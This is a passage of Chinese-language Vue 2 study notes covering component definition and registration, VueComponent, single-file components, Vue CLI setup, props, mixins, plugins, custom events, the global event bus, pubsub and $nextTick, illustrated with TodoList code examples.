  3. 作用: 复用编码, 简化项目编码, 提高运行效率
2.1.3. 模块化

当应用中的 js 都以模块来编写的, 那这个应用就是一个模块化的应用。

2.1.4. 组件化

当应用中的功能都是多组件的方式来编写的, 那这个应用就是一个组件化的应用,。

2.1.5组件的定义

image-20240325155957085

image-20240325160021914

image-20240325160056003

组件定义:实现应用中局部功能代码资源的集合。

2.2 非单文件组件

一个文件中包含有n个组件

2.2.1 Vue中使用组件的三大步骤

①. 定义组件(创建组件)

②. 注册组件

③. 使用组件(写组件标签)

1.如何定义一个组件?

使用 Vue.extend(options)创建,其中 optinosnew Vue(options) 时传入的那个 options 几乎一样,但区别如下:

​ ①. el 不要写,因为最终所以的组件都要被 vm 管理,由 vm 决定服务于哪个容器

​ ②. data 必须必须写成函数形式,且为普通函数,原因:避免组件复用时,数据存在引用关系。

备注:使用 template 可以配置组件结构(模板)

2.如何注册组件?

​ ①. 局部注册:靠 new Vue的时候传入 components 选项

​ ②. 全局注册:靠 Vue.component("组件名",组件)

3.编写组件标签

<组件名></组件名> 组件名为注册组件时所起的名字

html
<body>
    <div id="root">
      <h1>{{msg}}</h1>
      <hr />
      <!-- 第三步:编写组件标签 -->
      <school></school>
      <!-- 组件复用 -->
      <school></school>
      <hr />
      <hello></hello> 
      <student></student>
    </div>

    <div id="root2">
      <!-- 全局组件可以在不同Vue实例中使用 -->
      <hello></hello>
    </div>
  </body>
  <script>
    // 第一步:创建一个school组件
    const school = Vue.extend({
      // el: "#root", //组件定义时一定不要写el配置项,因为最终所有的组件都要被 vm 管理,由 vm 决定服务于哪个容器
      // 模板
      template: ` 
      <div>
        <h2>学校名称:{{schoolName}}</h2>
        <h2>学校地址:{{address}}</h2>
        <button @click="showName">点我提示学校名</button>
      </div>
      `,
      // template必须要有一个根元素,且根元素参与解析渲染
      // 数据
      data() {
        return {
          schoolName: "尚硅谷",
          address: "北京",
        };
      },
      methods: {
        showName() {
          console.log(this);
          alert(this.schoolName);
        },
      },
    });

    // 第一步:创建student组件
    const student = Vue.extend({
      template: `
      <div>
        <h2>学生姓名:{{studentName}}</h2>
        <h2>学生年龄:{{age}}</h2>
      </div>
      `,
      data() {
        return {
          studentName: "张三",
          age: "18",
        };
      },
    });

    // 第一步:创建一个hello组件
    const hello = Vue.extend({
      template: `
      <div>
        <h2>你好啊 {{name}}</h2>
      </div>
      `,
      data(){
        return{
          name:"Tom"
        }
      }
    });

    // 第二步:全局注册组件
    Vue.component("hello",hello)

    // 创建vm
    new Vue({
      el: "#root",
      data: {
        msg: "hello component",
      },
      // 第二步:注册组件(局部注册)
      components: {
        school,
        student,
      },
    });

    // 创建vm2
    new Vue({
      el: "#root2",
    });
  </script>
2.2.2 组件的几个注意点
  1. 关于组件名:

    一个单词组成:

    ​ 第一种写法(首字母小写):school

    ​ 第二种写法(首字母大写):School 常用

    多个单词组成的:

    ​ 第一种写法(kebab-case命名):my-school,需要加引号

    ​ 第二种写法(CamelCase命名):MySchool(需要Vue脚手架)常用

    备注:

    ​ ①. 组件名尽量可能回避HTML中已有的元素名称,例如 H2,h2

    ​ ②. 可以使用 name 配置项指定组件在开发者工具中呈现的名字

  2. 关于组件标签:

    第一种:<school></school>

    第二种:<school/> 常用

    备注:不使用脚手架时,<school/> 会导致后续组件不能渲染

  3. 一个简写方式:

    const school = Vue.extend(options) 可以简写为:const school = option

    Vue会自动调用 Vue.extend()方法

html
<body>
    <div id="root">
      <h1>{{msg}}</h1>
      <!-- 使用组件 -->
      <school></school>
      <school2></school2>
      <!-- 组件标签的第二种写法 单标签 -->
      <school/>
    </div>
  </body>
  <script>
    // 定义组件
    const s = Vue.extend({
      name:"atguigu",
      template: `
        <div>
          <h2>学校名称{{name}}</h2>
          <h2>学校地址{{address}}</h2>
        </div>
      `,
      data() {
        return {
          name: "尚硅谷",
          address: "北京",
        };
      },
    });

    // 定义组件简化
    const s2 = {
      // 设置在开发者工具中呈现的组件名
      name:"atguigu",
      template: `
        <div>
          <h2>学校名称{{name}}</h2>
          <h2>学校地址{{address}}</h2>
        </div>
      `,
      data() {
        return {
          name: "尚硅谷",
          address: "北京",
        };
      },
    }

    new Vue({
      el: "#root",
      data: {
        msg: "欢迎学习组件 component",
      },
      // 注册组件
      // 注册组件的名称要与使用组件时的名称相同
      components: {
        school: s,
        school2:s2,
      },
    });
  </script>
2.2.3 组件的嵌套

组件嵌套:在一个组件中注册另外一个组件,并在该组件的template中使用

html
<title>组件的嵌套</title>
    <script src="" data-missing="vue.js"></script>
  </head>
  <body>
    <div id="root">
      <!-- <app></app> -->
    </div>
  </body>
  <script>
    // 定义 student 组件
    const student = Vue.extend({
      template: `
      <div>
          <h2>学生姓名{{name}}</h2>
          <h2>学生年龄{{age}}</h2>
      </div>
      `,
      data() {
        return {
          name: "尚硅谷",
          age: 18,
        };
      },
    });

    // 定义 school 组件
    const school = {
      template: `
      <div>
          <h2>学校名称{{name}}</h2>
          <h2>学校地址{{address}}</h2>
          <student></student>
      </div>
      `,
      data() {
        return {
          name: "尚硅谷",
          address: "北京",
        };
      },
      // 注册组件(局部)
      // 组件嵌套:在一个组件中注册另外一个组件,并在该组件的template中使用
      components: {
        student,
      },
    };

    // 定义 hello 组件
    const hello = {
      template: `
      <div>
        <h2>你好啊 {{name}}</h2>
      </div>
      `,
      data() {
        return {
          name: "Tom",
        };
      },
    };

    // 定义 app 组件 一般开发中app管理所有组件
    const app = Vue.extend({
      template: `
      <div>
        <hello></hello>
        <school></school>
      </div>
      `, // 模板中要有一个根元素
      components: {
        school,
        hello,
      },
    });

    // 创建vm
    new Vue({
      el: "#root",
      template: `
      <app></app>
      `, // <div id="root"></div> 会丢失
      // 注册组件(局部)
      components: {
        app,
      },
    });
  </script>
2.2.4 VueComponent
  1. School组件本质是一个名为 VueComponent 的构造函数,且不是程序员定义的,是 Vue.extend 生成的

  2. 我们只需要写 <School/><School></School> ,Vue解析时会帮我们**创建 School 组件的实例对象,**即Vue帮我们执行的:new VueComponent(options)

  3. 特别注意:每次调用 Vue.extend,返回的都是一个全新的 Vue.Component!!!! 同一组件的实例对象不同,不同组件的 Vue.Component 不相同

  4. 关于 this 指向

    ①. 组件配置中:

    data 函数,methods中的函数,watch中的函数,computed中的函数 它们的 this 均是 VueComponent实例对象(vc)

    ②. new Vue(options) 配置中:

    data 函数,methods中的函数,watch中的函数,computed中的函数 它们的 this 均是 Vue实例对象(vm)

  5. VueComponent 的实例对象,以后可以简称为 vc (也可以称之为:组件实例对象)

    Vue的实例对象,以后简称 vm

  6. vm 和 vc 的区别:

    vm 可以使用 el 指定容器,vc不能使用 el

    vm 的 data 可以写成对象或函数形式,vc 的 data 只能写成函数形式

    vc 可以看成一个小型的 vm ,vm身上有的属性和方法vc身上也有

2.2.5 一个重要的内置关系
  1. 一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype

  2. 为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性,方法。

image-20240326154612938

prototype(显式原型):每个函数都有一个prototype属性,包含了所有实例共享的属性和方法;当使用构造函数创建新对象时,新对象的 __proto__ (隐式原型)会指向构造函数的 prototype(显示原型)

__proto__(隐式原型):是对象内部的一个属性,指向其构造函数的prototype对象

原型链:当访问对象上不存在的属性时,JS引擎会尝试在 __proto__所指的对象上查找该属性

2.2.5 非单文件组件缺点
  1. 模板编写没有提示
  2. 没有构建过程, 无法将 ES6 转换成 ES5
  3. 不支持组件的 CSS
  4. 真正开发中几乎不用

2.3 单文件组件

一个 .vue 文件中只包含有一个组件

2.3.1 单文件组件的组成
  1. 模板页面
html
<template>
  <!-- 组件的结构 必须有且只有一个根元素-->
  <div class="demo">
    <h2>学校名称{{ name }}</h2>
    <h2>学校地址{{ address }}</h2>
    <button @click="showX">点我输出x</button>
  </div>
</template>
  1. JS模块对象
html
<script>
// 组件交互相关的代码
// 将组件暴露
// export default const School = Vue.extend({})
export default {
  // 组件名 在开发者工具中显示
  name: "School",
  // data必须写为函数式
  data() {
    return {
      name: "尚硅谷",
      address: "北京",
    };
  },
  methods: {
    showX() {
      console.log(this.x);
    },
  },
};
</script>
  1. 样式
html
<style>
/* 组件的样式 */
.demo {
  background-color: orange;
}
</style>
2.3.2. 基本使用
  1. 引入组件 import 组件名 from xxx
  2. 注册组件 components:{组件名}
  3. 使用组件标签 <组件名 />

单文件组件的使用需要在 Vue 脚手架环境下运行,浏览器不识别ES6模块化和.vue文件

三、Vue进阶1

3.1 初始化脚手架

3.1.1 介绍
  1. Vue 脚手架是 Vue 官方提供的标准化开发工具(开发平台)。
  2. 最新的版本是 5.x。
  3. 文档: https://cli.vuejs.org/zh/。
  4. Vue CLI (command line interface)命令行接口工具/脚手架
3.1.2 具体步骤

第一步(仅第一次执行):全局安装@vue/cli

npm install -g @vue/cli

第二步:切换到你要创建项目的目录,然后使用命令创建项目

vue create 项目名

第三步:启动项目

npm run serve

如出现下载缓慢请配置 npm 淘宝镜像:npm config set registry https://registry.npm.taobao.org

3.2 分析脚手架结构

3.2.1 模板项目的结构
├── node_modules
├── public
│ ├── favicon.ico: 页签图标
│ └── index.html: 主页面
├── src
│ ├── assets: 存放静态资源
│ │ └── logo.png
│ │── components: 存放组件
│ │ └── HelloWorld.vue
│ │── App.vue: 汇总所有组件
│ │── main.js: 入口文件
├── .gitignore: git 版本管制忽略的配置
├── babel.config.js: babel 的配置文件
├── package.json: 应用包配置文件
├── README.md: 应用描述文件
├── package-lock.json:包版本控制文件
├── vue.config.js:配置文件
3.2.2 关于不同版本的Vue
  1. vue.js 与 vue.runtime.xxx.js 的区别:

    • vue.js 是完整版的 Vue,包含:核心功能+模板解析器
    • vue.runtime.xxx.js 是运行版的 Vue,只包含:核心功能;没有模版解析器
  2. 因为 vue.runtime.xxx.js 没有模板解析器,所以不能使用 template 配置项,需要使用 render 函数接收到的 createElement 函数去指定具体内容

mian.js中 import Vue from 'vue' 默认引入的是vue.runtime.esm.js(esm:使用es6模块化语法引入)

js
// 引入 Vue
import Vue from 'vue'
// 引入 App组件,它是所有组件的父组件
import App from './App.vue'
// 关闭 Vue 的生产提示
Vue.config.productionTip = false

new Vue({
  el:"#app",
  // 将App组件放入容器中
  render: h => h(App)
})
3.2.3 vue.config.js配置文件
  1. 查看配置信息

    使用 vue inspect > output.js 会出现一个 output.js 文件可以查看到Vue脚手架的默认配置。

  2. 修改配置信息:

    修改根目录下的 vue.config.js 在内部参照 Vue CLI 官网配置参考修改配置https://cli.vuejs.org/zh

js
module.exports = {
  pages: {
    index: {
      // 设置入口文件
      entry: "src/main.js",
    }
  },
  // 关闭语法检查
  lintOnSave: false,
};

注意:修改配置文件要重启项目

在实际开发中先关闭语法检查,等开发完毕再打开进行检测

3.3 ref 与 props

3.3.1 ref 属性
  1. 被用来给元素或子组件注册引用信息(id的替代者)

  2. 应用在 html 标签上获取的是真实 DOM 元素,应用在组件标签上是组件实例对象(vc)

  3. 使用方式:

    打标识:<h1 ref="xxx">.....</h1><School ref="xxx"/>

    获取:this.$refs.xxx

3.3.2 配置项 props
  1. 功能:让组件接收外部传过来的数据

  2. 传递数据:<Demo name="xxx"/>

    若要传递数值/对象类型的数据请使用 :(v-bind) <Demo :number="12">

  3. 接收数据:

    1. 第一种方式(只接收):

      props:["name"] 常用

    2. 第二种方式(限制类型):

      props:{name:String}

    3. 第三种方式(限制类型,限制必要性,指定默认值):

      js
      props:{
          name:{
            type:String, //类型
            required:true, //必要性
            default:"老王" //默认值
          }
      }

备注:

  1. props 是只读的,Vue底层会监测你对 props 的修改,如果进行了修改,就会发出警告,若确实需要修改 props 的值,那么请复制 props 的内容到 data 中一份,然后去修改 data 中的数据
  2. props 的优先级高于data中的数据,会比data中的数据先添加到vc中
  3. props 中的数据最终也会挂载在 vc 中
vue
// Student.Vue
<template>
  <div>
    <h1>{{ msg }}</h1>
    <h2>学生姓名 {{ name }}</h2>
    <h2>性别 {{ sex }}</h2>
    <h2>年龄 {{ myAge + 1 }}</h2>
    <button @click="updateAge">尝试修改收到的年龄</button>
  </div>
</template>

<script>
export default {
  name: "Student",

  data() {
    console.log(this); // vc
    return {
      msg: "我是一个小学生",
      // 间接修改 age
      myAge:this.age,
    };
  },

  // props接收到的值不要修改会报错
  methods: {
    updateAge() {
      this.myAge++;
    },
  },

  // 简单声明接收接收   props的优先级高于data中的数据,会比data中的数据先添加到vc中
  props: ["name", "age", "sex"], // 常用

  // 接收的同时对数据类型进行限制
  props: {
    name: String,
    age: Number,
    sex: String,
  }, 

  // 接收的同时对数据进行类型的限制+默认值的指定+必要性的限制
   props: {
    name: {
      type: String, // 类型是字符串
      required: true, // 必须传递值
    },
    age: {
      type: Number,
      default: 99, // 默认值 不与required:true同时使用
    },
    sex: {
      type: String,
      required: true,
    },
  }, 
};
    
App.vue
<template>
  <div>
    <Student name="李四" sex="女" :age="18" />
    <!-- 传递值的形式必须为 key="value" 要想传递的为数值型在key前面加上: 变为动态绑定 -->
  </div>
</template>

3.4 mixin(混入)

功能:可以把多个组件共用的配置(JS代码)提取成一个混入对象,在需要使用的组件内进行混入

使用方式:

​ 第一步定义混合:

js
export const hunhe ={
    data(){...},
    methods:{...}
    .....
}

​ 第二步使用混合:

  1. 局部混入(在组件内)
js
import {xxx} from "xxxx"

export default{
    name:"Xx"
    data(){...}
    ...
    mixins:[xxx]
}

​ 2.全局混入(在main.js内)

js
import {xxx} from "xx"

Vue.mixin(xxx)

tips:

  1. 当混入组件中没有的属性和方法会自动添加到组件上,当属性和方法出现冲突时,以组件上的为准

  2. 当混入生命周期钩子时,组件原有的和混入的都会执行

  3. 全局混入后 vm 和所有的 vc 上都拥有了混合的内容

vue
mixin.js

export const hunhe = {
  methods: {
    showName(){
      alert(this.name)
    }
  },
  mounted() {
    console.log("你好啊");
  },
}

export const hunhe2 = {
  data(){
    return{
      x:100,
      y:200
    }
  }
}

School.vue (局部混入)
......
<script>
import {hunhe,hunhe2} from "../mixin";

....

  mixins:[hunhe,hunhe2]

};
</script>

main.js (全局混入)
....
import {hunhe,hunhe2} from './mixin'
......
Vue.mixin(hunhe)
Vue.mixin(hunhe2)

3.5 插件

  1. 功能:用于增强 Vue

  2. 本质:包含 install 方法的一个对象,install 的第一个参数是 Vue,第二个以后的参数是插件使用者传递的数据。

  3. 定义插件

    js
    export default{
        install(Vue,optinos){
          // 1. 添加全局过滤器
          Vue.filter(....)
            
          // 2. 添加全局自定义指定
          Vue.directive(...)
                        
          // 3. 配置全局混入
          Vue.mixin(...)
            
          // 4. 配置实例方法
          Vue.prototype.方法名=function(){...}
        }
    }
  4. 使用插件

    js
    // ① 引入插件
    import pulgins from 'xxx'
    
    // ② 使用插件
    Vue.use(plugins,optinos)

tips:可以将一些全局的过滤器,自定义指令,混合和方法写在插件中,在需要使用的 Vue 实例中引用并使用插件,这样vm 和全部 vc 就都拥有插件中的功能了

js
plugins.js

export default {
  install(Vue,x,y,z) {
    console.log(Vue,x,y,z);

    // 全局过滤器
    Vue.filter("mySlice", function (value) {
      return value.slice(0, 4);
    });

    // 全局自定义指令
    Vue.directive("fbind", {
      bind(element, binding) {
        element.value = binding.value;
      },
      inserted(element, binding) {
        element.focus();
      },
      update(element, binding) {
        element.value = binding.value;
      },
    });

    // 定义混入
    Vue.mixin({
      data() {
        return {
          x: 100,
          y: 200,
        };
      },
    });
    
    // 为Vue原型上添加一个方法(vm 和 vc 都能使用)
    Vue.prototype.hello = ()=>{
      alert("你好啊")
    }
  },
};

main.js
// 1.引入插件
import plugins from "./plugins"
....
// 2.使用插件
Vue.use(plugins,1,2,3)

3.6 scoped样式和lang

3.6.1 scoped
  1. 作用:让样式在局部生效(只在当前组件中生效),防止不同组件中存在同名样式发生冲突。(会在组件内每个标签上添加一个自定义属性作为选择器使用)
  2. 使用:<style scoped>
3.6.2 lang
  1. 作用:用于指定css预处理器

  2. 使用:<style lang="xxx"> xxx可以为less,css,sass...

    若不写 lang 配置 默认为 css

tips:

  1. scoped 一般在子组件的样式标签中使用,不在 App 组件样式中使用(App组件中一般存放公共样式)
  2. 直接使用 lang="less" 会报错需要安装less-loader:npm i less-loader

3.7 总结 Todo-list 案例

效果图:

image-20240327200000807

3.7.1 组件化编码流程
  1. 拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突
  2. 实现动态组件:要考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用:
    1. 一个组件在用:放在组件自身即可
    2. 一些组件在用:放在他们共同的父组件上(状态提升)
  3. 实现交互:从绑定事件开始
3.7.2 props适用于:
  1. 父组件 ==> 子组件 通信
  2. 子组件 ==> 父组件 通信(要求父组件给子组件一个函数,子组件通过调用函数并传递参数实现通信)
3.7.3 v-model 使用的注意事项

使用 v-model 时要切记:v-model 绑定的值不能是 props 传过来的值,因为 v-model 是双向数据绑定而 props 是不可以修改的!

3.7.4 props 使用注意

若使用 props 传递引用类型的数据使用 v-bind/: 传递数据

props 传过来的若是对象类型的值,修改对象中的属性时 Vue 不会报错,但不推荐

3.7.5 reduce 条件统计

reduce() 方法是一个数组迭代方法。对数组中的每个元素按序执行一个提供的 callbackFn 函数,每次调用时,pre 为之前计算的值,最初为传递的初始值,current 为当前遍历的元素。每次 callbackFn 函数执行一次,返回值作为下一次函数执行时的 pre ,最终返回的是reduce 的返回值。

js
Array.reduce((pre, current) => {
    // 数组求和
    return pre + current; 
    // 条件计数
    if current > n	return pre + 1;
}, 0); // 0为初始值

3.8 webStorage

  1. 存储内容大小一般支持5MB左右(不同浏览器可能不一样)

  2. 浏览器端通过 window.sessionStoragewindow.localStorage 来实现本地存储机制

  3. 相关 API:

    1. xxxxStorage.setItem("key","value");

      该方法接收一个字符串类型键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值

    2. xxxx.Storage.getItem("key");

      该方法接收一个键名作为参数,返回键名对应的值

    3. xxxx.removeItem("key");

      该方法接收一个键名作为参数,并把该键名从存储中删除

    4. xxxx.Storage.clear();

      该方法会清空存储中的所有数据

  4. 备注:

    1. sessionStorage 存储的内容会随着浏览器窗口关闭而消失
    2. localStorage 存储的内容,需要手动清除才会消失
    3. xxxxStorage.getItem(xxx)如果xxx对应的 value 获取不到返回值为 null
    4. JSON.parse(null) 的结果依然为 null

注意:LocalStroge只支持存储 字符串类型的数据,存储时需要将对象类型的数据通过 JSON.stringify()转换为字符串类型进行存储,读时通过 JSON.parse()将字符串转换为对象格式

3.8.1 使用localStorage完善TodoList

需求:使用户的添加的数据不随着浏览器的刷新和关闭而丢失。

实现:将用户添加的数据存储到浏览器的localStroge中,深度监视 todos 的变化,当todos发生变化时,将新的todos 数据存储到localStorage中,初始化todos的数据时从localStroge中读取

js
data() {
    return {
      // 从浏览器的本地存储中获取todos 并将字符串转换为对象格式
      todos: JSON.parse(localStorage.getItem("todos")) || [],
      // 当localStorage.getItem("todos"))为空时,返回一个空数组
    };
  },
......
watch: {
    // 监视todos,当todos发生变化时将最新的todos存储到localStorage中
    todos: {
      // 要想监视到todo中每个todo内的属性必须开启深度监视
      deep: true,
      handler(value) {
        localStorage.setItem("todos", JSON.stringify(value));
      },
    },
  },

3.9 组件的自定义事件

  1. 一种组件间通信的方式,适用于:子组件 ==> 父组件

  2. 使用场景:A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A父组件中

  3. 为子组件绑定自定义事件:

    1. 第一种方式,在父组件中:在子组件标签上绑定自定义事件

      js
      <Demo @自定义事件名="回调函数名"/>  // 本质:将自定义事件绑定到子组件的实例对象上vc
      
      <Demo v-on:自定义事件名="回调函数名">
    2. 第二种方式,在父组件中:为子组件绑定ref并使用$refs获取子组件(vc)绑定自定义事件

      js
      <Demo ref="xxx">
      ......
      // 利用生命周期钩子和refs为子组件添加自定义事件
      moutend(){ // 可以增加其他操作更加灵活
      	this.$refs.xxx.$on("自定义事件名",this.回调函数名)
          //this.$refs.xxx 子组件实例对象
      }
    3. 若想让自定义事件只触发一次,可以使用 once 修饰符,或 $once 方法

  4. 触发自定义事件并传递参数:this.$emit("自定义事件名",数据)

  5. 解绑自定义事件:this.$off("自定义事件名") 、解绑全部事件:this.$off() 、解绑多个事件 :this.$off(["xxx","xxx"])

  6. 组件上也可以绑定原生DOM事件,需要使用 native 修饰符(将事件绑定到子组件的最外层根元素上)

注意:通过 this.$refs.xxx.$on('自定义事件名',回调) 绑定自定义事件时,回调要么配置在methods中,要么用箭头函数,否则this执行会出现问题!

vue
父组件App.vue
<template>
<!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第一种写法,使用@或v-on) -->
<!-- 为Student组件的实例对象vc绑定了一个自定义事件atguigu -->
<Student @atguigu="getStudentName" @demo="m1"/>

<!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第二种写法,使用ref) -->
<Student ref="student" @click.native="show" />
<!-- 在组件中直接使用原生事件,会默认被当做自定义事件进行处理  需要加.native修饰符才能变为原生事件-->
</template>
....
<script>
methods: {
    getSchoolName(name) {
      console.log("App收到了学校名", name);
    },
    getStudentName(name, ...params) {
      this.studentName = name;
      console.log("App收到了学生名", name, params);
    }
  },
  // 生命周钩子
  mounted() {
    // 可以增加一些其他的操作(定时器)比直接使用@/v-on绑定自定义事件更灵活
    // 绑定自定义事件  this.$refs.student ==> Student组件的实例对象
    this.$refs.student.$on("atguigu", this.getStudentName);
    // once:只执行一次  
    this.$refs.student.$once("atguigu",this.getStudentName);
  },
</script>

子组件 Student
<template>
    <button @click="sendStudentName">点我把学生名给App</button>
    <button @click="unbind">解绑atguigu自定义事件</button>
</template>
<script>
 methods: {
    sendStudentName() {
      // 使用$emit触发Student组件身上的自定义atguigu事件并传递参数
      this.$emit("atguigu", this.name, 666, 888, 900);
    },
    unbind() {
      // 解绑一个自定义事件
      this.$off("atguigu");
      // 解绑多个事件
      // this.$off(['atguigu','demo']);
      // 解绑所有自定义事件
      // this.$off();
    },
 }
</script>

原理:在父组件中为子组件标签绑定自定义事件(自定义事件被添加到子组件的实例对象vc上),事件回调在父组件中,子组件在合适时通过$emit触发自定义事件,通过事件回调将数据传递给父组件,实现子 ==> 父组件间的通信

3.10 TodoList 自定义事件

需求:将原本使用 props 传递函数实现的 子组件 ==> 父组件通信,修改为使用自定义事件实现

App.vue

vue
<template>
    .....
<!-- 为子组件添加一个自定义事件addTodo事件回调为addtodo-->
    <MyHeader @addTodo="addTodo" />
        
<!-- 使用组件自定义事件实现 子组件为父组件传递数据 -->
    <MyFooter
       :todos="todos"
       @checkAllTodo="checkAllTodo"
       @clearAllTodo="clearAllTodo"
    />
   ......
</template>
<script>
    ...
   methods:{
      addTodo(){...};
      checkAllTodo(){...};
      clearAllTodo(){...}
   }
</script>

MyHeader.vue

js
// 触发父组件为子组件添加的自定义事件,利用事件回调为父组件传递数据
this.$emit("addTodo",todoObj);

MyFooter.vue

js
// 调用组件自定义事件为父组件传递数据
this.$emit("checkAllTodo", value);
 ...
// 触发自定义事件,执行父组件中的回调函数
this.$emit("clearAllTodo");

3.11 全局事件总线(GlobalEventBus)

  1. 一种组件间通信的方式,适用于任意组件间通信,实际开发中较为常用

  2. 安装全局事件总线

    js
    main.js
    new Vue({
    	.....
        beforeCreate(){
        	Vue.prototype.$bus = this // 安装全局事件总线,$bus就是当前应用的 vm
            // this为vm身上有$emit() $on() $off()方法,因此$bus也可以调用这些方法
    	},
        .....
    })
  3. 使用事件总线

    1. 接收数据:A组件想接收数据,则在A组件中给 $bus 绑定自定义事件,事件回调留在A组件自身

      js
      methods(){
      	demo(data){....}
      }
      ....
      // 组件挂载到页面完毕后执行mounted钩子函数
      mounted(){
          // 给$bus绑定自定义事件
      	this.$bus.$on('xxx',this.demo)
          // 或 回调必须使用箭头函数(this才为vc)
          this.$bus.$on("xxx",(data)=>{
              .....
          })
      }
    2. 提供数据:传递数据的组件在合适的时候触发$bus上的自定义事件,并传递数据

      js
      this.$bus.$emit('xxx',数据)
  4. 最好在beforeDestroy钩子中,用 $off 去解绑当前组件所用到的事件

    js
    // 在组件销毁前,解绑全局事件总线自定义事件
    beforeDestroy(){
        this.$bus.$off("xxx")
    }

注意:组件销毁时会自动解绑自身的自定义事件,但全局事件总线的自定义事件是在$bus(vm)组件上绑定的,所以需要手动解绑,只有当$bus被销毁时身上所有的自定义事件才能解绑

全局事件总线触发的事件可以借助Vue开发工具的第三个选项查看

image-20240330160328461

原理:Vue.prototype = VueComponent.prototype.__proto__Vue.prototype上添加一个 $bus=vm 在任何组件上均可访问到 $bus 且可调用 $on、$emit、$off 方法进行自定义事件的绑定、调用、销毁

3.12 TodoList 全局事件总线

需求:将原本通过 props 逐层传递实现的从 App组件 到 MyItem组件 的通信即 爷组件 ==> 孙组件 改为使用事件总线实现

main.js

js
new Vue({
  el: '#app',
  render: h=>h(App),
  beforeCreate(){
    // 1. 安装全局事件总线
    Vue.prototype.$bus = this;
  }
});

App.vue

js
mounted(){
    // 2. 为全局事件总线绑定自定义事件
  this.$bus.$on("checkTodo",this.checkTodo);  this.$bus.$on("deleteTodo",this.deleteTodo)
  }
beforeDestroy() {
    // 3. 在组件销毁前,解绑全局事件总线自定义事件
    this.$bus.$off("checkTodo");
    this.$bus.$off("deleteTodo");
  },

MyItem.vue

js
// 4. 触发全局事件总线的自定义事件
...
this.$bus.$emit("checkTodo",id);
....
this.$bus.$emit("deleteTodo", id);
..

触发全局事件总线上绑定的自定义事件的组件是< Root >,因为自定义事件被绑定到vm上

3.13 消息订阅与发布(pubsub)

  1. 一种组件间通信的方式,适用于任意组件间通信,需要数据的组件订阅消息,提供数据的组件发布消息

  2. 使用步骤:

    1. 安装pubsub:

      npm i pubsub-js
    2. 引入:

      在需要订阅和发布的组件中引入

      js
      // 引入pubsub pubsub是一个对象,有subscribe,publish,unsubscribe三个方法
      import pubsub from ”pubsub-js“
    3. 订阅消息(接收数据)

      如果A组件想要接收数据,则在A组件中订阅消息,订阅消息的回调留在A组件中

      js
      methods:{
          // 第一个参数为订阅消息名,第二个参数为发布消息时传递数据
          demo(msgName,data){....}
      }
      // 组件挂载到页面完毕后进行订阅消息
      mounted(){
          // 订阅消息 当有人发布了xxx消息,就执行回调
          // 使用this.pid保存订阅的id,用于取消订阅
          this.pid = pubsub.subscribe("xxx",this.demo)
          // 也可以直接将回调写在this.demo处,但必须为箭头函数,this才能指向vc
      }

      特别注意:订阅消息的回调函数的第一个参数为订阅消息名,若不需要使用,则用 _ 占位(避免参数定义而未使用,代码检查报错)

    4. 发布消息(提供数据)

      js
      // 在合适的时候发布消息,并传递数据
      pubsub.publish("xxx",数据)

      发布的消息名要和订阅的消息名对应

    5. 取消订阅

      在订阅消息的组件beforeDestroy钩子中,取消消息的订阅

      js
      // 在组件要被销毁前取消订阅
      beforeDestroy(){
      	pubsub.unsubscribe(this.pid)
      }

      注意:取消订阅时需要使用消息的 id,订阅时返回的

实现任意组件间的通信,推荐使用全局事件总线,因为两者基本流程相似。使用:安装全局事件总线(安装并引入supsub-js)、接收数据:绑定自定义事件(订阅消息)、提供数据:触发自定义事件(发布消息)

3.14 ToList 消息订阅与发布

需求:将 爷组件 ==> 孙组件 改为使用消息订阅与发布实现

App.Vue

js
// 引入 supsub-js
import pupsub from "pubsub-js";
....
methods{
    deleteTodo(_,id) { // _ : 占位符,第一个参数为订阅消息名
    // 使用过滤器返回一个新数组
    this.todos = this.todos.filter((todo) => todo.id !== id);
    },
}
....
mounted(){
    // 订阅消息
    this.pid = supsub.subscribe("deleteTodo", this.deleteTodo);
}
beforeDestroy(){
    // 取消消息订阅
    supsub.unsubscribe(this.pid);
}

MyItem.vue

js
....
// 发布消息
pubsub.publish("deleteTodo", id);
....

3.15 总结组件间的通信

组件间通信方式
父组件 ==> 子组件props(传数据)
子组件 ==> 父组件自定义事件(推荐)、props(传函数),全局事件总线
爷组件 ==> 孙组件 兄弟组件 任意组件 ....全局事件总线(推荐)、消息订阅与发布

3.16 ToList 编辑功能($set()、NextTick)

3.16.1 $set()
  1. 语法:this.$set(target,"属性名",值)
  2. 作用:为 vc 上的数据动态添加属性,并使Vue可以动态监视到
  3. 什么时候使用:在给 vc 身上的数据添加动态属性时

为 vm 身上动态添加属性时使用 vm.$set()

js
// 为 vc 身上的todo对象动态添加一个 isEdit 属性
this.$set(todo, "isEdit", true);
3.16.2 NextTick
  1. 语法:this.$nextTick(回调函数)
  2. 作用:在下一次 DOM 更新结束后执行其指定的回调
  3. 什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行
js
// 在DOM更新后使input框获取焦点
this.$nextTick(() =>{
this.$refs.inputTitle.focus();
});
3.16.3 编辑功能实现

需求:当鼠标处于列表上方出现 "编辑" 按钮点击 “编辑” 按钮后原本的文字变为输入框并隐藏 "编辑" 按钮,当输入框失去焦点后文字内容发生改变。

MyItem.vue

vue
<template>
...
<!-- 使用v-show来控制是否显示 -->
      <span v-show="!todo.isEdit">{{ todo.title }}</span>
      <input
        class="edit"
        type="text"
        v-show="todo.isEdit"
        :value="todo.title"
        @blur="handleBlur($event, todo)"
        ref="inputTitle"
      />
    </label>
    <button class="btn btn-danger" @click="handleDelete(todo.id)">删除</button>
    <button
      class="btn btn-edit"
      v-show="!todo.isEdit"
      @click="handleEdit(todo)"
    >
      编辑
    </button>
  </li>
</template>
<script>
    ....
    methods:{
      // 编辑 点击编辑按钮出现输入框隐藏文字,并自动获取焦点
    handleEdit(todo) {
      // 如果todo对象上已存在isEdit属性,则不需要再重新添加isEdit属性
      // if(todo.isEdit === undefined){
      if (!todo.hasOwnProperty("isEdit")) {
        // 使用vc.$set(Vue.set())将属性动态添加到todo对象上使Vue可以监测到属性值的变化
        this.$set(todo, "isEdit", true);
      } else {
        // 由于使用$set()天添加的属性在修改值后会重新解析模板
